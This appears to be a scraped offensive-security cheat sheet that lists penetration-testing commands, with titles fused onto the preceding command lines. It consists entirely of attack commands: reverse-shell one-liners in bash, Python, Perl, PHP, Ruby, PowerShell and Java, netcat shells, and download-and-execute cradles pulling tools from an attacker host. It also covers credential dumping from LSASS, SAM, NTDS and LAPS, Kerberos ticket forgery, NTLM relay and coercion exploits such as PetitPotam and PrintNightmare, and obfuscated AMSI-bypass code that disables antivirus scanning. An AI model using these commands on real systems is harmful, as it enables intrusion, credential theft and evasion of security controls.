msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe > shell.exeWindows Meterpreter Reverse TCP Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f <language>Windows Reverse TCP Shell
msfvenom -p windows/shell/reverse_tcp LHOST=<ip> LPORT=<local> -f exe > shell.exenc bind shell linux
nc -nlvp <port> -e /bin/bashnc bind shell windows
nc -nlvp <port> -e cmd.exenc reverse shell linux
nc -nv <ip> <port> -e /bin/bashnc reverse shell windows
nc -nv <ip> <port> -e cmd.exenc setup listener
nc -nlvp <lport>nc transfer file - receiver
nc -nlvp <port> > <incomming_file>nc transfer file - sender
nc -nv <ip> <port> < <file_to_send>ncat bind shell ssl connection
ncat -v <ip> <port> --sslncat bind shell ssl filtered
ncat --exec cmd.exe --allow <allowed_ip> -vnl <port> --sslncat HTTP WEB proxy
ncat --listen --proxy-type http <port>[[Arsenal/Windows/powershell]] reverse shell
$client = New-Object System.Net.Sockets.TCPClient('<lhost>',<lport>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()[[java]] reverse shell
r = Runtime.getRuntime();p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<lhost>/<lport>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]);p.waitFor()bash reverse shell
bash -i >& /dev/tcp/<lhost>/<lport> 0>&1interactive reverse shell - and Ctrl+Z (1)
python -c 'import pty; pty.spawn("/bin/bash")'interactive reverse shell - on host - and do fg (2)
stty raw -echointeractive reverse shell - on reverse (3)
reset
stty rows <ROWS> cols <COLS>
export TERM=xterm-256colorperl reverse shell
perl -e 'use Socket;$i="<lhost>";$p=<lport>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'php reverse shell
php -r '$sock=fsockopen("<lhost>",<lport>);exec("/bin/sh -i <&3 >&3 2>&3");'python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<lhost>",<lport>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'ruby reverse shell
ruby -rsocket -e'f=TCPSocket.open("<lhost>",<lport>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'windows listener autocompletion
rlwrap nc -nlvp <port>weevely web shell connection
weevely <url> <password>weevely web shell generation with output file
weevely generate <password> <output_file|web_shell.php>Metasploit13
add pivot (autoroute)
use multi/manage/autorouteadd socks proxy (autoroute first)
use auxiliary/server/socks_proxycreate process
execute -H -f <process|notepad>enum LAPS
use post/windows/gather/credentials/enum_lapsincognito impersonate token
impersonate_token <domain>\\<user>load incognito
load incognitomigrate with name
migrate -N <process_name|notepad.exe>PPL remove
load kiwi
kiwi_cmd "!processprotect /process:lsass.exe /remove"
creds_allprint route table
route printshow session list
sessions -lupgrade session to meterpreter
sessions -u <session_id>searchsploit mirror exploitDB id
searchsploit -m <ebdid>searchsploit show exploitDB id
searchsploit -x <edbid>Active Directory227
aclpwn - from computer to domain - dry run
aclpwn -f <computer_name> -ft computer -d <domain> -drybloodhound - collect data
bloodhound-python -d <domain> -u <user> -p <password> -c allbloodhound - collect data (alternative)
bloodhound-python -d <domain> -u <user> -p <password> -gc <global_catalog> -dc <domain_controler> -c allbloodhound start IHM
bloodhoundcypheroth - start
cypheroth -u <bh_user|neo4j> -p <bh_password|exegol4thewin> -d <domain>sharphound - collect bloodhound data
import-module sharphound.ps1
invoke-bloodhound -collectionmethod all -domain <domain>sharphound - collect bloodhound data download and execute
(new-object system.net.webclient).downloadstring('http://<lhost>/SharpHound.ps1') | Invoke-BloodHound -CollectionMethod All -domain <domain>start neo4j server
neo4j startcertipy - authenticate through LDAP (Schannel) with pfx certificate
certipy auth -pfx <pfx-file> -dc-ip <dc-ip> -ldap-shellcertipy - authenticate with pfx certificate
certipy auth -pfx <pfx-file>certipy - Get NT hash - Shadow Credential
certipy shadow auto -u <user>@<domain> -p '<password>' -account <targeted-user>certipy - Golden Certificate - forge certificate
certipy forge -ca-pfx <pfx-file> -upn <user>@<domain> -crl ldap://<dc-ip>:389certipy - Golden Certificate - steal CA certificate and private key
certipy ca -u <user>@<domain> -p '<password>' -backup -ca <certificate-authority> -target-ip <ca-ip>certipy - Issue certificate for specific request id - ESC7
certipy ca -u <user>@<domain> -p '<password>' -ca <certificate-authority> -issue-request <csr-id>certipy - list certificate templates
certipy find -u <user>@<domain> -p '<password>' -dc-ip <dc-ip>certipy - modify template in order to make it vulnerable to ESC1 - ESC4
certipy template -u <user>@<domain> -p '<password>' -template <template> -save-oldcertipy - Modify user upn to another one - ESC9 - ESC10
certipy account update -u <user>@<domain> -p '<password>' -user <targeted-user> -upn <administrator-user>certipy - relay authentication to CA Web Enrollment - ESC8
certipy relay -ca <ca-fqdn>certipy - relay domain controller authentication to CA Web Enrollment - ESC8
certipy relay -ca <ca-fqdn> -template 'DomainController'certipy - request certificate
certipy req -u <user>@<domain> -p '<password>' -target <ca-fqdn> -template <template> -ca <certificate-authority>certipy - request certificate for another user - ESC1 - ESC6
certipy req -u <user>@<domain> -p '<password>' -target <ca-fqdn> -template <template> -ca <certificate-authority> -upn <targeted-user>@<domain>certipy - request certificate on behalf of with Certificate Request Agent certificate - ESC3
certipy req -u <user>@<domain> -p '<password>' -target <ca-fqdn> -template <template> -ca <certificate-authority> -on-behalf-of '<NetBIOS-domain-name>\<targeted-user>' -pfx <pfx-file>cme - ASREPRoast enum with authentication
nxc ldap <ip> -u <user> -p '<password>' --asreproast ASREProastables.txt --kdcHost <dc_ip>cme - ASREPRoast enum without authentication
nxc ldap <ip> -u <user> -p '' --asreproast ASREProastables.txt --kdcHost <dc_ip>cme - domain auth
nxc smb <ip> -u <user> -p <password> -d <domain>cme - Dump LSA
nxc smb <ip> -u <user> -p <password> -d <domain> --lsacme - dump lsass
nxc smb <ip> -u <user> -p <password> -d <domain> -M lsassycme - dump lsass - with bloodhond update
nxc smb <ip> --local-auth -u <user> -H <hash> -M lsassy -o BLOODHOUND=True NEO4JUSER=<user|neo4j> NEO4JPASS=<neo4jpass|exegol4thewin>cme - dump ntds.dit
nxc smb <ip> -u <user> -p <password> -d <domain> --ntdscme - Dump SAM
nxc smb <ip> -u <user> -p <password> -d <domain> --samcme - enable wdigest
nxc smb <ip> -u <user|Administrator> -p '<password>' --local-auth --wdigest enablecme - enumerate active sessions
nxc smb <ip> -u <user> -p '<password>' --sessionscme - enumerate anonymous login
nxc smb <ip> -u 'a' -p ''cme - enumerate disks
nxc smb <ip> -u <user> -p '<password>' --diskscme - enumerate domain groups
nxc smb <ip> -u <user> -p '<password>' --groupscme - enumerate domain users
nxc smb <ip> -u <user> -p '<password>' --userscme - enumerate hosts, network
nxc smb <ip>cme - enumerate local groups
nxc smb <ip> -u <user> -p '<password>' --local-groupscme - enumerate logged users
nxc smb <ip> -u <user> -p '<password>' --loggedon-userscme - enumerate null session
nxc smb <ip> -u '' -p ''cme - enumerate password policy
nxc smb <ip> -u <user> -p '<password>' --pass-polcme - enumerate shares
nxc smb <ip> -u <user> -p <password> -d <domain> --sharescme - enumerate smb target not signed
nxc smb <ip> --gen-relay-list smb_targets.txtcme - enumerate users by bruteforce the RID
nxc smb <ip> -u <user> -p '<password>' --rid-brutecme - get file
nxc smb <ip> -u <user> -p <password> --get-file <remote_path|\\Windows\\Temp\\target.txt> <local_file>cme - Kerberoasting
nxc ldap <ip> -u <user> -p '<password>' --kerberoasting kerberoastables.txt --kdcHost <dc_ip>cme - kerberos auth
nxc smb <ip> --kerberoscme - local-auth
nxc smb <ip> -u <user> -p <password> --local-authcme - local-auth with hash
nxc smb <ip> -u <user> -H <hash> --local-authcme - loggout user
nxc smb <ip> -u <user> -p '<password>' -x 'quser'
nxc smb <ip> -u <user> -p '<password>' -x 'logoff <id_user>' --no-outputcme - mssql execute command
nxc mssql <ip> -u <user> -p '<password>' --local-auth -x <cmd|whoami>cme - mssql execute query
nxc mssql <ip> -u <user> -p '<password>' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'cme - mssql password spray
nxc mssql <ip> -u <user.txt> -p <password.txt> --no-bruteforcecme - password spray (user=password)
nxc smb <dc-ip> -u <user.txt> -p <password.txt> --no-bruteforce --continue-on-successcme - password spray multiple test
nxc smb <dc-ip> -u <user.txt> -p <password.txt> --continue-on-successcme - put file
nxc smb <ip> -u <user> -p <password> --put-file <local_file> <remote_path|\\Windows\\Temp\\target.txt>cme - Unconstrained delegation
nxc ldap <ip> -u <user> -p '<password>' --trusted-for-delegationcme - winrm-auth
nxc winrm <ip> -u <user> -p <password>coercer - list vulns
coercer.py -d '<domain>' -u '<user>' -p '<password>' --listener <hackerIp> <targetIp>coercer - List vulns many targets
coercer.py -d '<domain>' -u '<user>' -p '<password>' --listener <hackerIp> --targets-file <PathToTargetFile>coercer - Webdav
coercer.py -d '<domain>' -u '<user>' -p '<password>' --webdav-host '<ResponderMachineName>' <targetIp>getarch - find target architecture (64 or 32 bits)
getArch.py -target <ip>lookupsid - SID User Enumeration, extract the information about what users exist and their data.
lookupsid.py <domain>/<user>:<password>@<ip>netview - enumeration tool (ip/shares/sessions/logged users) - need dns set
netview.py <domain>/<user> -target <ip> -users <users_file>reg - query registry info remotely
reg.py <domain>/<user>:<password>@<ip> query -keyName HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows -srpcdump - list rpc endpoint
rpcdump.py <domain>/<user>:<password>@<ip>services.py - (start, stop, delete, read status, config, list, create and change any service) remote
services.py <domain>/<user>:<password>@<ip> <action>atexec - execute command view the task scheduler
atexec.py <domain>/<user>:<password>@<ip> "command"atexec pass the hash (pth)
atexec.py -hashes <hash> <user>@<ip> "command"PSEXEC with kerberos
export KRB5CCNAME=<ccache_file>; psexec.py -dc-ip <dc_ip> -target-ip <ip>> -no-pass -k <domain>/<user>@<target_name>PSEXEC with pass the Hash (pth)
psexec.py -hashes <hash> <user>@<ip>PSEXEC with username
psexec.py <domain>/<user>:<password>@<ip>SMBEXEC with kerberos
export KRB5CCNAME=<ccache_file>; smbexec.py -dc-ip <dc_ip> -target-ip <ip>> -no-pass -k <domain>/<user>@<target_name>SMBEXEC with pass the Hash (pth)
smbexec.py -hashes <hash> <user>@<ip>SMBEXEC with username
smbexec.py <domain>/<user>:<password>@<ip>wmiexec
wmiexec.py <domain>/<user>:<password>@<ip>wmiexec with pass the hash (pth)
wmiexec.py -hashes <hash> <user>@<ip>GetADUser - gather data about the domain’s users and their corresponding email addresses
GetADUsers.py -all <domain>/<user>:<password> -dc-ip <dc_ip>GetNPUsers - attempt to list and get TGTs for those users that have the property ‘Do not require Kerberos preauthentication’ (ASREPRoasting)
GetNPUsers.py -dc-ip <dc_ip> <domain>/ -usersfile <users_file> -format hashcatGetNPUsers without password to get TGT (ASREPRoasting)
GetNPUsers.py <domain>/<user> -no-pass -request -format hashcatGetTGT - request a TGT and save it as ccache for given a password, hash or aesKey
getTGT.py -dc-ip <dc_ip> -hashes <lm_hash>:<nt_hash> <domain>/<user>GetUSERSPN - find Service Principal Names that are associated with a normal user account (kerberoasting)
GetUserSPNs.py -request -dc-ip <dc_ip> <domain>/<user>:<password>MS14-068 - goldenPac
goldenPac.py -dc-ip <dc_ip> <domain>/<user>:'<password>'@<target>Silver ticket - impersonate user
getST.py -spn cifs/<target> <domain>/<netbios_name>\$ -impersonate <user>TicketConverter - convert kirbi files (commonly used by mimikatz) into ccache files used by impacket
ticketConverter.py <ccache_ticket_file> <ticket_kirbi_file>Ticketer - (golden ticket) - generate TGT/TGS tickets into ccache format which can be converted further into kirbi.
ticketer.py -nthash <nthash> -domain-sid <domain_sid> -domain <domain> <user>Ticketer - (silver ticket) - generate TGS tickets into ccache format which can be converted further into kirbi.
ticketer.py -nthash <nthash> -domain-sid <domain_sid> -domain <domain> -spn <SPN> <user>samrdump - system account, shares, etc... (dump info from the Security Account Manager (SAM))
samrdump.py <domain>/<user>:<password>@<ip>secretsdump
secretsdump.py '<domain>/<user>:<password>'@<ip>secretsdump - anonymous get administrator
secretsdump.py <domain>/<dc_bios_name>\$/@<ip> -no-pass -just-dc-user "Administrator"secretsdump - remote extract
secretsdump.py -just-dc-ntlm -outputfile <ntlm-extract-file> <domain>/<user>:<password>@<ip>secretsdump - remote extract + users infos
secretsdump.py -just-dc -pwd-last-set -user-status -outputfile <ntlm-extract-file> <domain>/<user>:<password>@<ip>secretsdump local dump - extract hash from ntds.dit
secretsdump.py -ntds <ntds_file.dit> -system <SYSTEM_FILE> -hashes <lmhash:nthash> LOCAL -outputfile <ntlm-extract-file>secretsdump local dump - extract hash from sam database
secretsdump.py -system <SYSTEM_FILE|SYSTEM> -sam <SAM_FILE|SAM> LOCALntlmrelay - authenticate and dump hash
ntlmrelayx.py -tf <targets_file> -smb2supportntlmrelay - host a payload that will automatically be served to the remote host connecting
ntlmrelayx.py -tf <targets_file> -smb2support -e <payload_file|payload.exe>ntlmrelay - socks
ntlmrelayx.py -tf <targets_file> -socks -smb2supportntlmrelay - to use with mitm6 - delegate access
ntlmrelayx.py -t ldaps://<dc_ip> -wh <attacker_ip> --delegate-accessntlmrelay - to use with mitm6 - relay to target
ntlmrelayx.py -6 -wh <attacker_ip> -t smb://<target> -l /tmp -socks -debugsmbserver - share smb folder
smbserver.py <shareName> <sharePath>smbserver - share smb folder with authentication
smbserver.py -username <username> -password <password> <shareName> <sharePath>smbclient - connect to smb on the target
smbclient.py <domain>/<user>:<password>@<ip>exploit gpp - group policy preference (ms14-025)
msfconsole -x "use scanner/smb/smb_enum_gpp"kerberos enum users
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>'" <ip>kerberos enum users (with user list)
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <ip>kerberos ms14-068
msfconsole -x "use auxiliary/admin/kerberos/ms14_068_kerberos_checksum"Kerbrute usersenum
./kerbrute_linux_amd64 userenum -d <domain> --dc <ip> <users_file>powershell - get user SPN
(new-object system.net.webclient).downloadstring('http://<lhost>/GetUserSPNs.ps1') | IEXfind the list of group who can manipulate SAM data
Import-Module .\LAPSToolkit.ps1
Find-LAPSDelegatedGroupsget all machine passwords
foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}get laps computer list
Import-Module .\LAPSToolkit.ps1
Get-LAPSComputersget laps passwords
Get-LAPSPasswords -DomainController <ip_dc> -Credential <domain>\<login> | Format-Table -AutoSizemetasploit get laps password
use windows/gather/credentials/enum_lapspowerview get laps password
Get-DomainObject <computer> -Properties "ms-mcs-AdmPwd",nameLsassy basic usage with hash (ip or range)
lsassy -v -u <user> -H <hash> <ip>Lsassy basic usage with kerberos (ip or range)
lsassy -d <domain> -u <user> -k <ip_range>Lsassy basic usage with password (ip or range)
lsassy -d <domain> -u <user> -p <password> <ip>dementor
dementor.py -d <domain> -u <user> -p <password> <attacker_ip> <dc2>Finding Spooler services anonymous
rpcdump.py <dc> | grep -A 6 MS-RPRNFinding Spooler services listening
rpcdump.py <domain>/<user>:'<password>'@<dc> | grep MS-RPRNntlmrelayx add computer
ntlmrelayx -t ldaps://<dc1> -smb2support --remove-mic --add-computer <computer_name> <computer_password> --delegate-accessPetitPotam
PetitPotam.py -u <user> -p '<password>' -d <domain> <listener> <target>printerbug
printerbug.py '<domain>/<user>:<password>'@<ip> <attacker_ip>PrintNightmare
CVE-2021-1675.py <domain>/<user>:<password>@<target_ip> '\\<attacker_ip>\<share_name>\<dll_name|inject>.dll'Printspoofer privesc
PrintSpooferNet.exe \\.\pipe\test\pipe\spoolss <launch_cmd>secret dump with kerberos
secretsdump -k <dc>Spoolsample
SpoolSample.exe <target_server> <capture_server>Spoolsample launch pipe
SpoolSample.exe <target_hostname> <target_hostname>/pipe/testuse silver ticket
getST.py -spn host/<dc2> -impersonate <user_to_impersonate> -dc-ip <dc1_ip> '<domain>/<computer_name>$:<computer_password>'webclientservicescanner
webclientservicescanner '<domain>/<user>:<password>'@<ip_range>run mitm6 (to run with impacket-ntlmrelayx)
mitm6 -d <domain>nxc - ASREPRoast enum with authentication
nxc ldap <ip> -u <user> -p '<password>' --asreproast ASREProastables.txt --kdcHost <dc_ip>nxc - ASREPRoast enum without authentication
nxc ldap <ip> -u <user> -p '' --asreproast ASREProastables.txt --kdcHost <dc_ip>nxc - domain auth
nxc smb <ip> -u <user> -p <password> -d <domain>nxc - Dump LSA
nxc smb <ip> -u <user> -p <password> -d <domain> --lsanxc - dump lsass
nxc smb <ip> -u <user> -p <password> -d <domain> -M lsassynxc - dump lsass - with bloodhond update
nxc smb <ip> --local-auth -u <user> -H <hash> -M lsassy -o BLOODHOUND=True NEO4JUSER=<user|neo4j> NEO4JPASS=<neo4jpass|exegol4thewin>nxc - dump ntds.dit
nxc smb <ip> -u <user> -p <password> -d <domain> --ntdsnxc - Dump SAM
nxc smb <ip> -u <user> -p <password> -d <domain> --samnxc - enable wdigest
nxc smb <ip> -u <user|Administrator> -p '<password>' --local-auth --wdigest enablenxc - enumerate active sessions
nxc smb <ip> -u <user> -p '<password>' --sessionsnxc - enumerate anonymous login
nxc smb <ip> -u 'a' -p ''nxc - enumerate disks
nxc smb <ip> -u <user> -p '<password>' --disksnxc - enumerate domain groups
nxc smb <ip> -u <user> -p '<password>' --groupsnxc - enumerate domain users
nxc smb <ip> -u <user> -p '<password>' --usersnxc - enumerate hosts, network
nxc smb <ip>nxc - enumerate local groups
nxc smb <ip> -u <user> -p '<password>' --local-groupsnxc - enumerate logged users
nxc smb <ip> -u <user> -p '<password>' --loggedon-usersnxc - enumerate null session
nxc smb <ip> -u '' -p ''nxc - enumerate password policy
nxc smb <ip> -u <user> -p '<password>' --pass-polnxc - enumerate shares
nxc smb <ip> -u <user> -p <password> -d <domain> --sharesnxc - enumerate smb target not signed
nxc smb <ip> --gen-relay-list smb_targets.txtnxc - enumerate users by bruteforce the RID
nxc smb <ip> -u <user> -p '<password>' --rid-brutenxc - get file
nxc smb <ip> -u <user> -p <password> --get-file <remote_path|\\Windows\\Temp\\target.txt> <local_file>nxc - Kerberoasting
nxc ldap <ip> -u <user> -p '<password>' --kerberoasting kerberoastables.txt --kdcHost <dc_ip>nxc - kerberos auth
nxc smb <ip> --kerberosnxc - local-auth
nxc smb <ip> -u <user> -p <password> --local-authnxc - local-auth with hash
nxc smb <ip> -u <user> -H <hash> --local-authnxc - loggout user
nxc smb <ip> -u <user> -p '<password>' -x 'quser'
nxc smb <ip> -u <user> -p '<password>' -x 'logoff <id_user>' --no-outputnxc - mssql execute command
nxc mssql <ip> -u <user> -p '<password>' --local-auth -x <cmd|whoami>nxc - mssql execute query
nxc mssql <ip> -u <user> -p '<password>' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'nxc - mssql password spray
nxc mssql <ip> -u <user.txt> -p <password.txt> --no-bruteforcenxc - password spray (user=password)
nxc smb <dc-ip> -u <user.txt> -p <password.txt> --no-bruteforce --continue-on-successnxc - password spray multiple test
nxc smb <dc-ip> -u <user.txt> -p <password.txt> --continue-on-successnxc - put file
nxc smb <ip> -u <user> -p <password> --put-file <local_file> <remote_path|\\Windows\\Temp\\target.txt>nxc - Unconstrained delegation
nxc ldap <ip> -u <user> -p '<password>' --trusted-for-delegationnxc - winrm-auth
nxc winrm <ip> -u <user> -p <password>Add GenericAll to target for user
Add-DomainObjectAcl -TargetIdentity <target> -PrincipalIdentity <user> -Rights AllAdd user DACL
Add-DomainObjectAcl -TargetIdentity <target> -PrincipalIdentity <current_user> -Rights AllFind all Computer with unconstrained delegation
Get-DomainComputer -UnconstrainedFind all domain user ACL
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}Find all groups our current user got access
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}Find all users our current user got access
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}Find user ACL
Get-ObjectAcl -Identity <user> -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}Get all domain trust
Get-DomainTrustMappingGet all members of a a given group
Get-DomainGroupMember -Identity "<group|Administrators>" -Domain <domain> -RecurseGet list of kerberoastable users
Get-DomainUser -SPN -Domain <domain> | select name, samaccountname, serviceprincipalnameGet User from SID
ConvertFrom-SID <sid>load from remote
(new-object system.net.webclient).downloadstring('http://<lhost>/powerview.ps1') | IEXSet alternative creds to use
$passwd = ConvertTo-SecureString "<password>" -AsPlainText -Force; $creds = New-Object System.Management.Automation.PSCredential ("<domain>\<user>", $passwd)multirelay attack - all user (previous disable HTTP and SMB in Responder.conf)
multirelay -t <ip> -u ALLmultirelay attack - user filtered (previous disable HTTP and SMB in Responder.conf)
multirelay -t <ip> -u <user1> <user2>responder challenge reset
sed -i 's/Challenge =.*$/Challenge = 1122334455667788/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'Challenge ='responder challenge set
sed -i 's/Challenge =.*$/Challenge = <challenge>/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'Challenge ='responder http off
sed -i 's/HTTP = On/HTTP = Off/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'HTTP ='responder http on
sed -i 's/HTTP = Off/HTTP = On/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'HTTP ='responder launch
responder –I eth0responder launch - analyze mode (no poisoning)
responder –I eth0 -Aresponder launch with wpad file
responder -I eth0 --wpadresponder smb off
sed -i 's/SMB = On/SMB = Off/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'SMB ='responder smb on
sed -i 's/SMB = Off/SMB = On/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'SMB ='runfinger - Responder-related utility which will finger a single IP address or an IP subnet and will reveal if a target requires SMB Signing or not.
runfinger -i <network_range>rpcclient - enum (Enum commands list)
rpcclient <ip> -U "<user>%<pass>" -c "enum;quit"rpcclient - enumdomains (Current domain)
rpcclient <ip> -U "<user>%<pass>" -c "enumdomains;quit"rpcclient - enumdomgroups (Enum Domain groups)
rpcclient <ip> -U "<user>%<pass>" -c "enumdomgroups;quit"rpcclient - enumdomusers
rpcclient <ip> -U "<user>%<password>" -c "enumdomusers;quit"rpcclient - get user sid
rpcclient <ip> -c "lookupnales <name>; wmic useraccount get name,sid; quit"rpcclient - getdompwinfo (password policy)
rpcclient <ip> -U "<user>%<password>" -c "getdompwinfo;quit"rpcclient - getusrdompwinfo (User password policies)
rpcclient <ip> -U "<user>%<pass>" -c "getusrdompwinfo <RID>;quit"rpcclient - lookupsid (Local Users Lookup SID)
rpcclient <ip> -U "<user>%<pass>" -c "lookupsid <SID>;quit"rpcclient - lsaenumsid (Local Users LSA Enum SID)
rpcclient <ip> -U "<user>%<pass>" -c "lsaenumsid;quit"rpcclient - netshareenum (password policy)
rpcclient <ip> -U "<user>%<password>" -c "netshareenum;quit"rpcclient - querydominfo
rpcclient <ip> -U "<user>%<password>" -c "querydominfo;quit"rpcclient - querygroup (Enum Group Information)
rpcclient <ip> -U "<user>%<pass>" -c "querygroup <RID>;quit"rpcclient - querygroupmem (Enum Group Membership)
rpcclient <ip> -U "<user>%<pass>" -c "querygroupmem <RID>;quit"rpcclient - queryuser (Enumerate specific User/ computer information by RID)
rpcclient <ip> -U "<user>%<pass>" -c "queryuser <RID>;quit"rpcclient - setuserinfo2 (Reset AD user password)
rpcclient <ip> -U "<user>%<pass>" -c "setuserinfo2 <LOGIN> 23 '<NEWPASSWORD>';quit"rpcclient - srvinfo
rpcclient <ip> -U "<user>%<password>" -c "srvinfo;quit"Trying all username as password from list of users
for u in `cat <file>`; do echo -n "user: $u " && rpcclient -U "$u%$u" -c "getusername;quit" <ip>; doneask and inject ticket
.\Rubeus.exe asktgt /user:<user> /domain:<domain_name> /rc4:<ntlm_hash> /pttASREPRoast specific user
.\Rubeus.exe asreproast /user:<user> /domain:<domain_name> /format:<AS_REP_response_format> /outfile:<output_hashes_file>
.\Rubeus.exe kerberoast /outfile:<output_TGSs_file>dump - will dump any relevant cached TGS ticket’s stored
.\Rubeus.exe dumpexecute rubeus from powershell
[Rubeus.Program]::MainString("klist");get hash
.\Rubeus.exe hash /user:<user> /domain:<domain_name> /password:<password>get rc4 of machine with the password
.\Rubeus.exe hash /password:<machine_password>inject ticket from b64 blob
.\Rubeus.exe ptt /ticket:<BASE64BLOBHERE>
.\Rubeus.exe asreproast /format:<AS_REP_response_format> /outfile:<output_hashes_file>Kerberoast AES enabled accounts
.\Rubeus.exe kerberoast /outfile:<output_TGSs_file> /domain:<domain_name> /aesKerberoast specific user account
.\Rubeus.exe kerberoast /outfile:<output_TGSs_file> /domain:<domain_name> /user:<user> /simpleKerberoasting and outputting on a file with a specific format
.\Rubeus.exe kerberoast /outfile:<output_TGSs_file> /domain:<domain_name>Kerberoasting while being "OPSEC" safe, essentially while not try to roast AES enabled accounts
.\Rubeus.exe kerberoast /outfile:<output_TGSs_file> /domain:<domain_name> /rc4opsecload rubeus from powershell
$data = (New-Object System.Net.WebClient).DownloadData('http://<lhost>/Rubeus.exe');$assem = [System.Reflection.Assembly]::Load($data);monitor
.\Rubeus.exe monitor /interval:5 /filteruser:<machine_account>Rubeus Reflection assembly
$data = (New-Object System.Net.WebClient).DownloadData('http://<ip>/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("<rubeus_cmd>".Split())S4U - Resource based constrained delegation
.\Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:<user_to_impersonate> /msdsspn:cifs/<domain_fqdn> /domain:<domain_name> /pttS4U - with hash - Constrained delegation
.\Rubeus.exe s4u /user:<user> /rc4:<NTLMhashedPasswordOfTheUser> /impersonateuser:<user_to_impersonate> /msdsspn:ldap/<domain_fqdn> /altservice:cifs /domain:<domain_name> /pttS4U - with ticket - Constrained delegation
.\Rubeus.exe s4u /ticket:<ticket> /impersonateuser:<user> /msdsspn:ldap/<domain_fqdn> /altservice:cifs /pttstealty psexec
python3 scshell.py -service-name <service-name|defragsvc> -hashes :<ntlm-hash> <domain>/<user>@<ip>Windows116
Bypass AMSI by patching (work for .NET binaries too)
$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $ZQCUW
$BBWHVWQ = [ZQCUW]::LoadLibrary("$([SYstem.Net.wEBUtIlITy]::HTmldecoDE('amsi.dll'))")
$XPYMWR = [ZQCUW]::GetProcAddress($BBWHVWQ, "$([systeM.neT.webUtility]::HtMldECoDE('AmsiScanBuffer'))")
$p = 0
[ZQCUW]::VirtualProtect($XPYMWR, [uint32]5, 0x40, [ref]$p)
$TLML = "0xB8"
$PURX = "0x57"
$YNWL = "0x00"
$RTGX = "0x07"
$XVON = "0x80"
$WRUD = "0xC3"
$KTMJX = [Byte[]] ($TLML,$PURX,$YNWL,$RTGX,+$XVON,+$WRUD)[System.Runtime.InteropServices.Marshal]::Copy($KTMJX, 0, $XPYMWR, 6)Bypass AMSI with _amsiContext_ (powershell only)
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)Bypass AMSI with _AmsiInitFailed_ (powershell only)
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*InitFailed") {$f=$e}};$f.SetValue($null,$true)Download cradle
(new-object system.net.webclient).downloadstring('http://<ip>/<script>') | IEXGet domain SID
